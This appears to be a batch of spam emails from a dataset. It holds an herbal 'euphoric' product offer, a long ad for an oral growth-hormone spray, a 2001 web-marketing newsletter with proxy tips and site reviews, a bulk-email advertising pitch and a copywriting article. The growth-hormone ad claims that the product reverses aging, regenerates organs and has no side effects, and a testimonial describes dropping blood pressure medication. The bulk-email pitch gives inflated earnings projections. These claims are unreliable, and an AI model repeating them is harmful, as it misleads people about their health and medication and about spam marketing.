COMBINATION OFFER Includes one - 2.0 oz. jigget / bar of Kathmandu Temple Kiff, one - 1 oz. bottle of Sweet Vjestika Aphrodisia Drops, one - 100 tablet tin of Prosaka, and one - 300 count jar of Gentle Ferocity for a deep discounted Retail Price of $260.00 (Reg. $375.00 Save $115) (Free Capillaris Herba with this intro offer Refer to Capillaris paragraph at end of text.) SPECIAL OFFER: For a limited time only, you will receive a FREE personal brass hookah with the Ultimate Herbaceous Intro Offer as our gift to you. This hookah has a retail value of $25.00. ************************************************** ORDERING INFORMATION: For your convenience, you can call us direct with your orders or questions. Call 1-623-972-5999 Mon. Fri. 10:30 am to 7:00 pm (MT) Sat. - 11:00 am to 3:00 pm (MT) For all domestic orders, add $5.00 shipping & handling (shipped U.S. Priority Mail). Add $20.00 for International orders. LIVE sales associates are awaiting your call. Be sure to ask about our brand new offering, Equivalence Tablets and Dragon Wing Remedy Spray. These ""Dynamic Duo"" products are without peer for managing pain due to problems such as chronic pain, Fibromyalgia and Arthritis! ************************************************** SPECIAL DISCOUNT & GIFT Call now and receive a FREE botanical gift! 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My ""biological"" age is now that of a 40 year old!"" -Dr. A. Zuckerman M.D., age 60, NY ""A year ago, my blood pressure was 180/120 and I was on blood pressure medication. I also started the Anti-Aging formula, GH1. After a year on the product, my blood pressure is now 120/80-- and I haven't been on the blood pressure medication for months!"" -Susanne Peters, Laguna Beach, CA ""After 2 weeks on Anti-Aging Formula GH1, I noticed a higher level of energy, increased sexual energy and my memory and vision were enhanced. My blood pressure is down to 126/84 after workout-and it seems every other day I have to 'rev-up' the amps on the treadmill at the gym. I've noticed a tightening of the skin under my chin and a change in my lungs with much easier breathing. After 4 months, I only need 5 hours sleep instead of 7. One morning, I had to do an extra = karate workout just to expend all the extra energy!"" ""After 6 months on GH1, my blood sugar levels went from 130 down to 65! Also, my stamina has = increased, as well as my energy and sex drive--this product is GREAT!"" -Dr. Richard Boyd, 78 years old, Harvard Clinical Psychologist, CA ""As a straight-ahead bicycle racer, I used to have to wait a minute and a half after sprinting, for my heart rate to come down to where I could sprint again. After a month on GH1, I can now sprint again after only 45 seconds! GH1 cut my waiting time in half!"" -Ed Caz, age 40, Fresno,CA ""When I heard GH1 would reduce body fat increase lean muscle WITHOUT EXERC= ISE, I couldn't believe it--but in just a few months I lost 4 inches aroun= d my waist without exercising and my body fat went from 22 down to 19--eve= n though I gained 10 pounds! Also, after 4 months, my fine vision returned= . I no longer need the magnifying glasses to read fine print."" -Larry Baker, age 54,Oceanside, CA ""I have been taking Anti-Aging Formula GH1 for five months now. I have been under great stress in my business. I believe that taking Anti-Aging Formula GH1 has had a big part in keeping= my energy level up and having the strength to stay positive in the midst <= BR> of discouraging circumstances. Last week I came down with a cold. Colds are tough on me and seem to run their course- headaches, sinus infla= mmation, and then throat. I am progressing through those stages but more q= uickly than before. Hallelujah! My eyes aren't as puffy and the skin on my= hands snaps back faster. My muscles seem to have better tone-I notice it in my legs-and I have more= energy when I go out walking."" - Carolyn Munn ""I was taking injections of GH for over one year. A friend suggested that = I try Anti-Aging Formula GH1, since I was spending 1,000 US dollars a mont= h and needed a doctor to inject it daily. In 2-3 weeks I felt better from the Anti-Agin= g Formula GH1 than the whole time I was getting the injections. Thank you Anti-Aging Formula for greatly helping to improve my life!"" -Rita Mills McCoy ""I have had elevated cholesterol levels since the first time I was tested,= in my twenties. I was on Anti-Aging Formula GHI for only 1 month when my l= evels dropped from 245 to 210. I could hardly believe it! After 3 months on Anti= -Aging Formula GH1 my gray hair began to darken at the roots, returning to its no= rmal coloring. I have even been able to reduce my thyroid medication. All of th= is without having to change anything else about my lifestyle, other than taki= ng few sprays of Anti-Aging Formula GH1 a day. Wow! -Alan Ross, 43 years old GH1 is the highest concentration of orally administered GH1 available on the market today. Injections of GH taken in international uni= ts are usually prescribed to be taken as a shot, two times per day. The in= dividual would be taking between 2 and 4 units per day. GH1 has over 2000n= g per dosage and was created to imitate the body's natural secretion of GH= . WHAT IS GROWTH HORMONE (GH)? Growth hormone is a naturally occurring substance in the human body which = is secreted by the pituitary, the master gland of the body, located in the= endocrine system. GH is a microscopic protein substance that is chemically= similar to insulin, which is secreted in short pulses during the first few= hours of sleep and after exercise. GH is one of the most abundant hormones= secreted, influencing growth of cells, bones, muscles and organs throughou= t the body. Production of GH peaks at adolescence. Every three years approximately 90% of the cells in the human body are new= ly made. The body is composed of more than 100 trillion cells that are continuously= dying and regenerating. The brain and the nervous system retain their orig= inal cells; however, in the brain new proteins are continuously being produced = to store memories of every new experience. Overall intelligence and the abili= ty to learn and memorize all depend on adequate growth hormone. Growth hormone replacement therapy is now available to reverse age-related= symptoms, including wrinkling of the skin, increased body fat, decreased = muscle mass, increased cholesterol, decreased stamina and energy, decrease= d mental function and loss of libido. When growth hormone falls below normal levels, supplementation offers the = all-natural potential for great benefit. Growth hormone is an amazing subs= tance which is safe and effective with no known side effects, if taken in the proper dosage amounts. GH is one of many endocrine hormones, such as estrogen, progesterone, test= osterone, melatonin and DHEA, that all decline in production as we age. Hormones are= tiny chemical messengers continuously secreted in the bloodstream in order to r= egulate the activities of the vital organs. The word ""hormone"" is derived from a G= reek word meaning to stimulate. Many of these hormones can be replaced to deter some= of the effects of aging; however, GH reaches far beyond the scope of these other = hormones. Not only does it prevent biological aging, but it acts to greatl= y reverse a broad range of signs and symptoms associated with aging, includi= ng making the skin more elastic and causing wrinkles to disappear. GH also helps restore hair color and hair loss. THE ETERNAL FOUNTAIN OF YOUTH? Our bodies naturally produce GH in abundance when we are young, and its pr= oduction gradually slows over time. The amount of GH after the age of 21 falls abou= t 14% per decade, so that its production is reduced in half by age 60. While GH is n= ot new, its availability as a supplement has been limited. Specialized clinics and= physicians have been using GH for over 30 years on thousands of patients with consist= ent results. Unfortunately, due to the high costs previously associated with GH, only t= he medical profession and the wealthy have been privy to its benefits. Another proble= m has been that the large GH molecule, composed of 191 amino acids (protein), had bee= n only effective administered through injections. However, a new technology devel= oped by Anti-Aging Inc., now makes GH an effective, affordable and convenient alte= rnative. GH production falls by 80% from age 21 to 61 Growth hormone declines with age in every animal species that has been tes= ted to date. The amount of decline in humans falls approximately 14% per decade. This results in the growth hormone production rate being reduced in half b= y the age of 60. Humans produce on a daily basis 500 micrograms per year at age 20, = 200 micrograms at age 40 and 25 micrograms at 80 years of age. Between the= ages of 70 and 80, nearly everyone is deficient in growth hormone which results= in SDS, or Somatotrophin Deficiency Syndrome. These symptoms are part of the disea= se called aging which the medical community has determined is not a normal occurrenc= e. Healing ability and energy levels decrease, as does physical mobility. Those who want to maintain their youthful vitality and stamina should incl= ude an effective growth hormone therapy as part of their health regimen. After numerous clinical studies, the following was determined after 6 or more months of GH therapy: _ Improved memory _ Regenerating of the brain, heart, liver, pancreas, spleen, kidneys and o= ther organs _ Increased sexual drive and performance _ Increased fertility _ Enhanced immune system _ Quicker wound and fracture healing _ New hair growth and color reparation _ Sharper vision _ Improved exercise performance and tolerance _ Increased muscle mass without exercise _ Reduction of cellulite and fat _ Increased stamina and vitality _ Reduction in high blood pressure _ Improvement in sleep _ Anti-aging _ Wrinkle reduction and smoothing _ Decrease in LDL (bad) cholesterol _ Increase in HDL (good) cholesterol _ Strengthening of bones IS GH SAFE? GH has been successfully used in the medical community for over thirty years and has been studies for over 60 years. Edmond Klein, M.D. and L. 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In This Issue: >> Q & A QUESTIONS: - Using pictures as links? ANSWERS: - Unblocking sites so I can access? Z. OConan: Access using a proxy G. Bendickson: Using A Proxy To Visit Blocked Sites >> MEMBER SHOWCASES >> MEMBER *REVIEWS* - Sites to Review: #124, #125 & #126! - Site #123 Reviewed! - Vote on Your Favorite Website Design! ______________________________________________________ >>>>>>> QUESTIONS & ANSWERS <<<<<<< Do you a burning question about promoting your website, html design, or anything that is hindering your online success? Submit your questions to MyInputAre you net savvy? Have you learned from your own trials and errors and are willing to share your experience? Look over the questions each day, and if you have an answer or can provide help, post your answer to MyInput@AEOpublishing.com Be sure to include your signature file so you get credit (and exposure to your site). QUESTIONS: From: moviebuff@cliffhanger.com Subject: Using pictures as links I'm changing my website and want to use pictures for the links to other pages. But, someone told me I should still put a 'click here' underneath all the pictures. To me, this removes all purpose of using the pictures. How can I get across that you click on the pictures to get to other pages without coming right out and saying so? For example, I have a page with actor and actress information and just want to have a picture of my favorite stars to click on and change the picture every couple of days. Mark moviebuff@cliffhanger.com ANSWERS: From: Zaak - Zaako@linkpaks.com Subject: Access using a proxy >From: CJ (cj5000@post.com) >Subject: Unblocking sites so I can access? (Issue #422) --> I am currently living in a place where the ISP is blocking 50% of the web. I was told by someone that you can unblock these web sites by using a proxy, but I don't know what that means. I am wondering is there a way to get access to these sites? -- A proxy is easy to use if you use someone elses, they can be tricky to setup yourself. I have had very good results with Surfola. Basically you surf to their servers and then from there you surf Through/From their servers. I have several places I surf from that block content. Surfola easily bypasses them! Its also Free! You can also make money with them but I just use them to bypass anal retentive ISP/Corporate providers and because they allow me to surf anonymously! I have a detailed right-up on them at http://linkpaks.com/paidtosurf/Surfola.php See there for more info. If anything is not clear feel free to ask. (Email & Sign-up Links on http://linkpaks.com/paidtosurf/Surfola.php page) Zaak OConan Netrepreneur Http://LinkPaks.com - Surf & Earn Guides Http://LinktoCash.com - Internet Businesses for under $100 Http://ITeam.ws - The Hottest Product on the Net Today ++++ Next Answer - Same Question ++++ From: Wyn Publishing - wynpublishing@iname.com Subject: Using A Proxy To Visit Blocked Sites >From: CJ (cj5000@post.com) >Subject: Unblocking sites so I can access? (Issue #422) CJ, Two such sites that allows proxy surfing are: http://www.anonymise.com and http://www.anonymizer.com . However, if you cannot get to that site then obviously it will not work. Also note, that if your ISP is dictating to you which sites you may or may not visit, then it is time to change providers! Gregory Bendickson, Wyn Publishing Over 28 Free Traffic exchange services reviewed in a fully customizable e-book. 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Order today - Exhibits are limited and published on a first come, first serve basis. http://bannersgomlm.com/ezine ______________________________________________________ >>>>>>> MEMBER *REVIEWS* <<<<<<<< Visit these sites, look for what you like and any suggestions you can offer, and send your critique to MyInput@AEOpublishing.com And, after reviewing three sites, your web site will be added to the list! It's fun, easy, and it's a great opportunity to give some help and receive an informative review of your own site. Plus, you can also win a chance to have your site chosen for a free website redesign. One randomly drawn winner each month! SITES TO REVIEW: Site #124: http://www.BestWayToShop.com Dale Pike rhinopez@aol.com Site #125: http://www.wedeliverparties.com Dawn Clemons dclemons7@home.com Site #126: http://www.EClassifiedshq.com Carol Cohen Opp0rtunity@aol.com SITE REVIEWED: Comments on Site #123: http://netsbestinfo.homestead.com/nbi.html Dennis damorganjr@yahoo.com ~~~~ I reviewed site 123 and found the size of the font to be too aggressive and I don't like mustard yellow for a background. Also in the second or third paragraph is a misspelled word which should be ""first-come"" not as shown on the page. I feel a sample of the type of information offered in the newsletter should be displayed on the page as well as a sample of the free ads offered on the site. I will probably submit a free ad just to see the content of the newsletter. As has been mentioned many times, some information about the person doing the page is always good. We need some information about why this newsletter will be worthwhile to subscribe to. ~~~~ Dennis - I took a look at your site, and have recommendations for improving your page. 1- I use Internet Explorer and view web pages with my text size set to 'smaller'. The text you used was quite large, like a font used for a heading for all the text. By making the text size smaller it wouldn't feel like you were screaming at me. Also, the background was just too much. 2- There were spelling errors in the text. Often it might be difficult for you to spot these yourself if you see the page all the time, but have a friend look it over. Spelling errors make the page look unprofessional. 3- Offer a sample of your newsletter so people can see what it looks like before they subscribe. Also, if you are asking for a person to give you their email address, you MUST have a privacy policy and let them know they can unsubscribe. 4- Think about adding a form for people to subscribe to the newsletter. It looks more professional than just offering an email address to send to. 5- Offer information about yourself, and the kinds of information your newsletter contains. Maybe extend your site to include back issues or an archive to see what information you have offered in the past. 6- Build another page for 'sponsoring info' and put prices on that page. Remove all pricing information from the home page. ~~~~ I feel that the background is a little too bold and busy for the text. I also believe that the text is too large which makes it difficult to read quickly, and forces the reader to scroll down unnecessarily. I noticed some spelling errors, and I think that a link to the classifieds site should be provided, and online payments should be accepted. A site that sells advertising should have advertisments on it! ~~~~ This is a very clear site with nothing interfering with the message. I did not like the background colour, however that is personal, it did not detract from the information. I was tempted to sign up for the newsletter but would have liked a link to see a current issue. There was an error in the wording (a word missed) which needs correction and I think the fonts could be smaller. Overall a non-confusing site which makes a nice change. *cheers* ~~~~ Could use a better background and the fonts are very large, there also are errors in the following paragraphs : ""first com-first serve"" and ""to place a sponsor advertisement, send your to my email"" ~~~~ A single page site. It is necessary to subscribe to the webmaster's newsletter to see what he's doing, and it doesn't seem to me to be a way to get people to visit. I wouldn't, for example. He claims to have lots of tidbits of information that, he says, we probably didn't know, and this is possible, but in my opinion, he would be better served if he at least put some of the things out there for all to see - when the appetite, so to speak, if he want people to subscribe. As it is, I would not bother. ~~~~ What does one expect from a site like netsbestinfo? Some useful resources and some useful tips and also some forms of easy advertisement on the net. But what we get here is a newsletter with the owner (whose email reads damorgarjr@yahoo.com) asking us to subscribe us to his newsletter for a free 4-line ad. He also tells of paid category of advertisements. This is all we get from a site which has a grand title. Even the information about the newsletter is hardly impressive and is presented in about 35-to-40 points size which gets difficult to read. ~~~~ A neat enough site but the background could be a little hard on the eyes. There is only really one problem with this page - its just an advertisement for a newsletter. No, scratch that, its an advertisement to place free ads in a newsletter. A bold enough move perhaps but I learned hardly anything about the newsletter itself and immediately started worrying about getting a flood of ads to my email account so I didn't even subscribe. Presumably you'd want to get people to sign up so might I suggest splitting the page into the newsletter itself, perhaps a sample issue, a privacy policy and a promise not to drown in ads and then click for more info on your free ads. ________________________________________ VOTE ON YOUR FAVORITE WEBSITE DESIGN! Help out the winner of the free website redesign by voting for YOUR favorite! You can help out Teddy at links4profit.com by taking a look at his site, then checking out the three new layouts Jana of AkkaBay Designs AkkaBay.com has designed specifically for him. After you've visited all three, vote for your favorite. To make this as easy as possible for you, just click on the e-mail address that matches your choice - you do not need to enter any information in the subject or body of the message. I have included a note from Jana, and the links to Teddy's current site along with the three new designs: >From Jana: The pages have been created as non-frame pages although with minor modification, the pages could be adapted for use in a frames environment Please take a look at the existing site: http://www.links4profit.com Here are the 3 redesigns: http://AkkaBay.com/links4profit/index.html Vote for this design: design1@AEOpublishing.com http://AkkaBay.com/links4profit/index2.html Vote for this design: design2@AEOpublishing.com http://AkkaBay.com/links4profit/index3.html Vote for this design: design3@AEOpublishing.com You will have all of this week to vote (through June 29), and we'll list the favorite and most voted for layout next week. Teddy of course will be able to choose his favorite, and colors, font style/size, backgrounds, textures, etc, can all easily be changed on the ""layout"" that he likes. Free website re-designs and original graphics are provided to FLN Showcase winners courtesy of AkkaBay Designs. http://AkkaBay.com If you have any questions about how this works or how you can participate, please email Amy at MyInput@AEOpublishing.com ______________________________________________________ ______________________________________________________ Send posts and questions (or your answers) to: MyInput@AEOpublishing.com Please send suggestions and comments to: Moderator@AEOpublishing.com To change your subscribed address, send both new and old address to Moderator@AEOpublishing.com See below for unsubscribe instructions. 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In This Issue: >> Q & A QUESTIONS: - Using pictures as links? ANSWERS: - Unblocking sites so I can access? Z. OConan: Access using a proxy G. Bendickson: Using A Proxy To Visit Blocked Sites >> MEMBER SHOWCASES >> MEMBER *REVIEWS* - Sites to Review: #124, #125 & #126! - Site #123 Reviewed! - Vote on Your Favorite Website Design! ______________________________________________________ >>>>>>> QUESTIONS & ANSWERS <<<<<<< Do you a burning question about promoting your website, html design, or anything that is hindering your online success? Submit your questions to MyInputAre you net savvy? Have you learned from your own trials and errors and are willing to share your experience? Look over the questions each day, and if you have an answer or can provide help, post your answer to MyInput@AEOpublishing.com Be sure to include your signature file so you get credit (and exposure to your site). QUESTIONS: From: moviebuff@cliffhanger.com Subject: Using pictures as links I'm changing my website and want to use pictures for the links to other pages. But, someone told me I should still put a 'click here' underneath all the pictures. To me, this removes all purpose of using the pictures. How can I get across that you click on the pictures to get to other pages without coming right out and saying so? For example, I have a page with actor and actress information and just want to have a picture of my favorite stars to click on and change the picture every couple of days. Mark moviebuff@cliffhanger.com ANSWERS: From: Zaak - Zaako@linkpaks.com Subject: Access using a proxy >From: CJ (cj5000@post.com) >Subject: Unblocking sites so I can access? (Issue #422) --> I am currently living in a place where the ISP is blocking 50% of the web. I was told by someone that you can unblock these web sites by using a proxy, but I don't know what that means. I am wondering is there a way to get access to these sites? -- A proxy is easy to use if you use someone elses, they can be tricky to setup yourself. I have had very good results with Surfola. Basically you surf to their servers and then from there you surf Through/From their servers. I have several places I surf from that block content. Surfola easily bypasses them! Its also Free! You can also make money with them but I just use them to bypass anal retentive ISP/Corporate providers and because they allow me to surf anonymously! I have a detailed right-up on them at http://linkpaks.com/paidtosurf/Surfola.php See there for more info. If anything is not clear feel free to ask. (Email & Sign-up Links on http://linkpaks.com/paidtosurf/Surfola.php page) Zaak OConan Netrepreneur Http://LinkPaks.com - Surf & Earn Guides Http://LinktoCash.com - Internet Businesses for under $100 Http://ITeam.ws - The Hottest Product on the Net Today ++++ Next Answer - Same Question ++++ From: Wyn Publishing - wynpublishing@iname.com Subject: Using A Proxy To Visit Blocked Sites >From: CJ (cj5000@post.com) >Subject: Unblocking sites so I can access? (Issue #422) CJ, Two such sites that allows proxy surfing are: http://www.anonymise.com and http://www.anonymizer.com . However, if you cannot get to that site then obviously it will not work. Also note, that if your ISP is dictating to you which sites you may or may not visit, then it is time to change providers! Gregory Bendickson, Wyn Publishing Over 28 Free Traffic exchange services reviewed in a fully customizable e-book. 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SITES TO REVIEW: Site #124: http://www.BestWayToShop.com Dale Pike rhinopez@aol.com Site #125: http://www.wedeliverparties.com Dawn Clemons dclemons7@home.com Site #126: http://www.EClassifiedshq.com Carol Cohen Opp0rtunity@aol.com SITE REVIEWED: Comments on Site #123: http://netsbestinfo.homestead.com/nbi.html Dennis damorganjr@yahoo.com ~~~~ I reviewed site 123 and found the size of the font to be too aggressive and I don't like mustard yellow for a background. Also in the second or third paragraph is a misspelled word which should be ""first-come"" not as shown on the page. I feel a sample of the type of information offered in the newsletter should be displayed on the page as well as a sample of the free ads offered on the site. I will probably submit a free ad just to see the content of the newsletter. As has been mentioned many times, some information about the person doing the page is always good. We need some information about why this newsletter will be worthwhile to subscribe to. ~~~~ Dennis - I took a look at your site, and have recommendations for improving your page. 1- I use Internet Explorer and view web pages with my text size set to 'smaller'. The text you used was quite large, like a font used for a heading for all the text. By making the text size smaller it wouldn't feel like you were screaming at me. Also, the background was just too much. 2- There were spelling errors in the text. Often it might be difficult for you to spot these yourself if you see the page all the time, but have a friend look it over. Spelling errors make the page look unprofessional. 3- Offer a sample of your newsletter so people can see what it looks like before they subscribe. Also, if you are asking for a person to give you their email address, you MUST have a privacy policy and let them know they can unsubscribe. 4- Think about adding a form for people to subscribe to the newsletter. It looks more professional than just offering an email address to send to. 5- Offer information about yourself, and the kinds of information your newsletter contains. Maybe extend your site to include back issues or an archive to see what information you have offered in the past. 6- Build another page for 'sponsoring info' and put prices on that page. Remove all pricing information from the home page. ~~~~ I feel that the background is a little too bold and busy for the text. I also believe that the text is too large which makes it difficult to read quickly, and forces the reader to scroll down unnecessarily. I noticed some spelling errors, and I think that a link to the classifieds site should be provided, and online payments should be accepted. A site that sells advertising should have advertisments on it! ~~~~ This is a very clear site with nothing interfering with the message. I did not like the background colour, however that is personal, it did not detract from the information. I was tempted to sign up for the newsletter but would have liked a link to see a current issue. There was an error in the wording (a word missed) which needs correction and I think the fonts could be smaller. Overall a non-confusing site which makes a nice change. *cheers* ~~~~ Could use a better background and the fonts are very large, there also are errors in the following paragraphs : ""first com-first serve"" and ""to place a sponsor advertisement, send your to my email"" ~~~~ A single page site. It is necessary to subscribe to the webmaster's newsletter to see what he's doing, and it doesn't seem to me to be a way to get people to visit. I wouldn't, for example. He claims to have lots of tidbits of information that, he says, we probably didn't know, and this is possible, but in my opinion, he would be better served if he at least put some of the things out there for all to see - when the appetite, so to speak, if he want people to subscribe. As it is, I would not bother. ~~~~ What does one expect from a site like netsbestinfo? Some useful resources and some useful tips and also some forms of easy advertisement on the net. But what we get here is a newsletter with the owner (whose email reads damorgarjr@yahoo.com) asking us to subscribe us to his newsletter for a free 4-line ad. He also tells of paid category of advertisements. This is all we get from a site which has a grand title. Even the information about the newsletter is hardly impressive and is presented in about 35-to-40 points size which gets difficult to read. ~~~~ A neat enough site but the background could be a little hard on the eyes. There is only really one problem with this page - its just an advertisement for a newsletter. No, scratch that, its an advertisement to place free ads in a newsletter. A bold enough move perhaps but I learned hardly anything about the newsletter itself and immediately started worrying about getting a flood of ads to my email account so I didn't even subscribe. Presumably you'd want to get people to sign up so might I suggest splitting the page into the newsletter itself, perhaps a sample issue, a privacy policy and a promise not to drown in ads and then click for more info on your free ads. ________________________________________ VOTE ON YOUR FAVORITE WEBSITE DESIGN! Help out the winner of the free website redesign by voting for YOUR favorite! You can help out Teddy at links4profit.com by taking a look at his site, then checking out the three new layouts Jana of AkkaBay Designs AkkaBay.com has designed specifically for him. After you've visited all three, vote for your favorite. To make this as easy as possible for you, just click on the e-mail address that matches your choice - you do not need to enter any information in the subject or body of the message. I have included a note from Jana, and the links to Teddy's current site along with the three new designs: >From Jana: The pages have been created as non-frame pages although with minor modification, the pages could be adapted for use in a frames environment Please take a look at the existing site: http://www.links4profit.com Here are the 3 redesigns: http://AkkaBay.com/links4profit/index.html Vote for this design: design1@AEOpublishing.com http://AkkaBay.com/links4profit/index2.html Vote for this design: design2@AEOpublishing.com http://AkkaBay.com/links4profit/index3.html Vote for this design: design3@AEOpublishing.com You will have all of this week to vote (through June 29), and we'll list the favorite and most voted for layout next week. Teddy of course will be able to choose his favorite, and colors, font style/size, backgrounds, textures, etc, can all easily be changed on the ""layout"" that he likes. Free website re-designs and original graphics are provided to FLN Showcase winners courtesy of AkkaBay Designs. http://AkkaBay.com If you have any questions about how this works or how you can participate, please email Amy at MyInput@AEOpublishing.com ______________________________________________________ ______________________________________________________ Send posts and questions (or your answers) to: MyInput@AEOpublishing.com Please send suggestions and comments to: Moderator@AEOpublishing.com To change your subscribed address, send both new and old address to Moderator@AEOpublishing.com See below for unsubscribe instructions. Copyright 2001 AEOpublishing -----End of Your Membership Exchange This email was sent to jm@netnoteinc.com, at your request, by Your Membership Newsletter Services. Visit our Subscription Center to edit your interests or unsubscribe. View our privacy policy. Powered by --1074482631.993802752000.JavaMail.RovAdmin.rovweb002--",1,1 rb.ellison@dr.com,emreceive@post.com,"Fri, 29 Jun 01 01:03:58 EST","Re: Advertise to 28,000,000 for FREE...","Would you like to send a Broadcast Email Advertisement to up to 1,000,000+ PEOPLE DAILY (30,000,000+ People a Month) for FREE? ----- ---- --- -- - - 1) Let's say you... Sell a $19.95 PRODUCT or SERVICE. 2) Let's say you... Broadcast Email to 500,000 PEOPLE DAILY. 3) Let's say you... Receive JUST 1 ORDER for EVERY 2,500 EMAILS. CALCULATION OF YOUR EARNINGS BASED ON THE ABOVE STATISTICS: [Day 1]: $3,990 [Week 1]: $27,930 [Month 1]: $111,720 ----- ---- --- -- - - You now know why you receive so many email advertisements... ===> BROADCAST EMAIL ADVERTISING IS EXTREMELY PROFITABLE! 1) What if you... Sell a $99.95 PRODUCT or SERVICE? 2) What if you... Broadcast Email to 30,000,000+ PEOPLE MONTHLY? 3) What if you... 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Ask the CEOs of Yahoo.com and America Online.  They'll tell you it's true.  Send an email to Terry Dean or Allen Says or Jim Daniels and ask them about it.  They'll agree 100% that it's true.  Don't just take my word for it. In fact, you can contact any of the 10,000 folks online selling web marketing resources, and they will all tell you emphatically, without question, no doubts whatsoever, that it is absolutely true. It's true. ANYONE can earn a living online.  Really, they can.  But, it takes several very important components to join the 5% who are successful on the web.      One of those necessities is a website.      Now, your website does one of two things...      ...it either makes the sale, or it doesn't. For 95% of online businesses, their websites simply do not produce results. And there is a very simple reason for poor performance. Poor sales letters. Does your website convince people to make a purchase? If not, here are 32 easy ways to breathe new life into your sales letter... 1) Write your sales letter with an individual in mind. Go ahead and pick out someone, a real person to write your sales letter to.  Doesn't matter if it is grandma or your next door neighbor or your cat.  Write your sales letter just like you are writing it to them personally.  Why? Because when your potential customer reads, it then it will seem personal, almost like you wrote it with them in mind. Too often, sales letters are written as if they were going to be read to an audience rather than one person.  Keep your sales letters personal, because one person at a time is going to read them. 2) Use an illustration to get your point across.  In my sales letters I have told stories about my car stalling on the side of the road to illustrate the idea that we must constantly add the fuel of advertising to keep our businesses running. I have compared the hype of easily making millions online to the chances of me riding bareback across Montana on a grizzly bear.  Leads have read of how getting to the top of an oak tree relates to aggressively marketing online. People love a good story that pounds home a solid message.  Tell stories that illustrate a point you are trying to make.  Emphasize a benefit by sharing an account from the ""real world.""  It effectively creates interest and further establishes the point. 3) Create an interest in the reader from the very first line.  Your first line of the sales letter should immediately create a desire in the reader to want to know more.  Go back to the beginning of this article.  The first words were, ""It's true.""  I can guarantee you that either consciously or subconsciously you thought ""What's true?"" Immediately, your mind wanted to know what I was talking about.  Before you even knew it you were right here, 8 paragraphs into this article.  Carefully craft your first line.  If you can immediately get them wanting to know more, you've got a winner. 4) Use bullets. People spend a lot of time reading bulleted lists. In fact, they often reread them over and over. Use bulleted lists to stress the benefits of your product or service, to spell out exactly what is included in your offer. Use an extra space in between each bullet to really highlight each line and create a sense of more length to the list. 5) Launch into a bullet list immediately.  Shortly after your opening line, immediately give the reader a bullet list of benefits to absorb.  Hit them with your best shot. Pull out the big guns and stress ""just a few of"" the most important things the reader will discover.  By offering a killer list early in your sales letter, you will automatically create a desire in the reader to continue through your ad copy.  After all, if they are already interested after the first list of benefits, they will certainly be open to finding out even more reasons why your product or service will aid them. 6) Just let it all flow out.  Write down everything that enters your mind as you are writing your sales letter. You can edit it later.  If you just sit and start writing everything you know about your product or service and how it will benefit your customer, you will be amazed at how much information floods your mind.  Write it ALL down.  Then read through it - you'll be able to add a lot more detail to many of the points.  Edit it after you have exhausted all of your ideas. 7) Make your sales letter personal.  Make sure that the words ""you"" and ""your"" are at least 4:1 over ""I"" and ""my."" Your ad copy must be written about YOUR CUSTOMER not yourself.  I'm not sure how the old advertising adage goes, but it's something like this, ""I don't care a thing about your lawn mower, I just care about my lawn.""  Leads aren't interested in you or your products, they are interested in themselves and their wants and needs.  When you are finished with your sales letter and have uploaded it to a test webpage, run a check at http://www.keywordcount.com and see what the ratio between ""you"" and ""your"" versus references to ""I,"" ""me,"" ""my,"" etc.  It's a free service.  Make sure it's at least 4:1 in favor of the customer. 8) Write like you speak.  Forget all of those rules that your grammar teacher taught you.  Write your sales letters in everyday language, just like you would talk in person. Don't be afraid to begin sentences with ""And"" or ""Because."" Don't worry about ending a sentence with a preposition. Write like you speak. Your sales letter isn't the great American novel, so don't write it like you are Ernest Hemingway. 9) Use short paragraphs consisting of 2-4 sentences each. Long copy works... but long paragraphs do not.  Use short paragraphs that lead into the next paragraph. Don't be afraid to use short sentences.  Like this one. Or this. See what I mean?  Shorter paragraphs keep the interest of the reader. Longer paragraphs cause eye strain and often force the reader to get distracted. 10)  Stress the benefits, not the features.  Again, readers want the burning question answered, ""What's in it for  me?""  What need is it going to meet? What want is it going to fill?  How is your product or service going to be of value or benefit to the reader?  Spell it out.  Don't focus on the features of your product or service , but rather how those features will add value to the life of your reader. For example:  If you are selling automobile tires, you may very well have the largest assortment of tires in the world, but who cares? I don't care about your selection. But, I do care about keeping my 3-month-old baby girl safe while we are traveling.  So, instead of focusing on your selection, you focus on the fact that my baby girl can be kept safe because you have a tire that will fit my car. You're not selling tires, you're selling safety for my family. Stress the benefits, not the features. 11) Keep the reader interested.  Some sales letters read like they are a manual trying to explain to me how I can perform some complicated surgery on my wife. They are filled with words and phrases that I need a dictionary to understand.  Unless you are writing to a very targeted audience, avoid using technical language that many readers might not understand. Keep it simple, using words, language and information that are easy to understand and follow. 12) Target your sales letter.  When you are finished with your final draft of the sales letter, target it to a specific audience.  For example: If you are selling a ""work at home"" product, then rewrite the sales letter by adding words in the headlines and ad copy that are targeted towards women who are homemakers.  Then, rewrite the same sales letter and target it to college students.  Write another letter targeting senior citizens.  Still another could be written to high school teachers wanting to earn extra income during summer vacation.  The possibilities are endless. All you need to do is add a few words here and there in your ad copy to make it appear that your product or service is specifically designed for a target audience. ""Work only 5 hours a week,"" would become ""College Students, work only 5 hours a week.""  Your sales letter is now targeted. Upload all of the sales letters to separate pages on your website (you could easily target 100's of groups). Then, simply advertise the targeted pages in targeted mediums.  You could advertise the ""College Students"" page in a campus ezine.  The ""Senior Citizens"" page could be advertised at a retirement community message board. By creating these targeted sales letters, you can literally open up dozens of new groups to sell your existing product to.  And, in their eyes, it looks like the product was a match made for them. 13) Make your ad copy easy to follow.  Use short sentences and paragraphs. Break up the sales letter with attention grabbing headlines that lead into the next paragraph. One thing that I have always found to work very well in sales letters...      ...is to use a pause like this. Start the sentence on one line, leaving the reader wanting to know more, and then finishing up on the next line. Also, if you are going to use a sales letter that continues on several different pages of your website, use a catchy hook line at the end of each page to keep them clicking. ""Let's get you started down the road to success, shall we? CLICK HERE to continue."" 14) Use similes and metaphors for effect.  When the customer purchases your product, they will generate ""a flood of traffic that would make Noah start building another ark."" If they do not order today, then they will ""feel like a cat that let the mouse get away.""  Use words to create a picture in the readers' mind.  When you think of Superman, what comes to mind?  Immediately, we remember that he is ""faster than a speeding bullet.""  ""More powerful than a locomotive."" ""Able to leap tall buildings in a single bound."" See how word pictures stick in our minds? 15) Focus on one product or service.  Don't try to sell your customer multiple products at the same time. It only confuses the reader.  Keep your ad copy directed at one specific product or service.  Then, use other products and services as back-end products. 16) Make it stand out.  Don't kid yourself.  There are hundreds, maybe thousands out there on the web doing the same thing you are doing.  How will you stand out among the crowd?  Your sales letter must inject personality. It must breathe of originality.  Your product or service is different. It's not like all of the rest.  It is unique. Right? Your sales letter must separate you from the competition.  It must create a feeling of ""You won't find this anywhere else."" 17) Be believable. ""Earn $54,000 in the next 24 hours!!!"" 